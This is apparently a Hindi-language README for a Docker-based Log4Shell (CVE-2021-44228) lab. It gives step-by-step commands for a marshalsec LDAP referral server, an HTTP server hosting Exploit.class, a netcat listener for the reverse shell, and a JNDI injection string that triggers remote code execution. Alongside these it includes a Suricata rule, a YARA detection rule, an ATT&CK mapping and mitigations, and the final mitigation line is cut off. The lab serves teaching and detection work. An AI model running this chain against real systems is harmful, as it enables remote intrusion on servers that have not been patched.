**Log4Shell PoC एक उच्च-निष्ठा शोषण वातावरण है जो CVE-2021-44228 भेद्यता को दोहराने के लिए डिज़ाइन किया गया है।** यह JNDI इंजेक्शन, LDAP/RMI रेफरल रीडायरेक्शन, और Log4j 2 लाइब्रेरी के माध्यम से दूरस्थ कोड निष्पादन (RCE) प्रदर्शित करने के लिए एक कंटेनरीकृत सैंडबॉक्स प्रदान करता है।
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ लॉग4शेल (CVE-2021-44228) PoC लैब
[ अवधारणा प्रमाण और JNDI शोषण ]
Log4Shell PoC एक उच्च-निष्ठा शोषण वातावरण है जिसे CVE-2021-44228 भेद्यता को प्रतिकृति करने के लिए डिज़ाइन किया गया है। यह एक कंटेनरीकृत सैंडबॉक्स प्रदान करता है जो JNDI इंजेक्शन, LDAP/RMI रेफरल पुनर्निर्देशन, और Log4j 2 लाइब्रेरी के माध्यम से दूरस्थ कोड निष्पादन (RCE) का प्रदर्शन करता है।
केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए।
पूर्व आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए इस अवधारणा प्रमाण का उपयोग करना अवैध है। अंतिम उपयोगकर्ता की जिम्मेदारी है कि वह सभी लागू स्थानीय, राज्य, और संघीय कानूनों का पालन करे। लेखक कोई दायित्व नहीं लेते हैं और इस कार्यक्रम के कारण होने वाले किसी भी डेटा हानि, सिस्टम क्षति, कानूनी परिणाम, या दुरुपयोग के लिए जिम्मेदार नहीं हैं। इस सॉफ्टवेयर का उपयोग करके, आप अपने क्षेत्राधिकार की कानूनी सीमाओं के भीतर कार्य करने के लिए सहमत होते हैं।
हमलावर पक्ष PoC को सुविधाजनक बनाने के लिए तीन अलग-अलग चैनलों से बना है।
Exploit.class बाइटकोड को होस्ट करता है जिसे पीड़ित डाउनलोड करके निष्पादित करता है।एक Dockerized OpenJDK 8 वातावरण जो एक भेद्य Log4j कार्यान्वयन चलाता है।
टैब 1: LDAP रेफरल सर्वर
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
टैब 2: HTTP पेलोड वितरण
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
टैब 3: Netcat श्रोता
nc -lvnp 9001
टैब 4: भेद्य कंटेनर लॉन्च करें
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
कंटेनर के अंदर: PoC ट्रिगर करें
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| चरण | तकनीक | क्या अलर्ट ट्रिगर हुआ? | MITRE ATT&CK |
|---|---|---|---|
| प्रारंभिक पहुंच | सार्वजनिक-सामना करने वाले ऐप का शोषण | [ ] | T1190 |
| निष्पादन | कमांड और स्क्रिप्टिंग इंटरप्रेटर | [ ] | T1059 |
| कमांड और नियंत्रण | एप्लिकेशन लेयर प्रोटोकॉल (LDAP) | [ ] | T1071.003 |
| डेटा निकासी | गैर-एप्लिकेशन लेयर प्रोटोकॉल | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true सेट करें।log4j-core JAR से JndiLookup.class को मैन्युअल रूप से हटाएं।172.17.0.0/16) में हार्ड-कोड करें।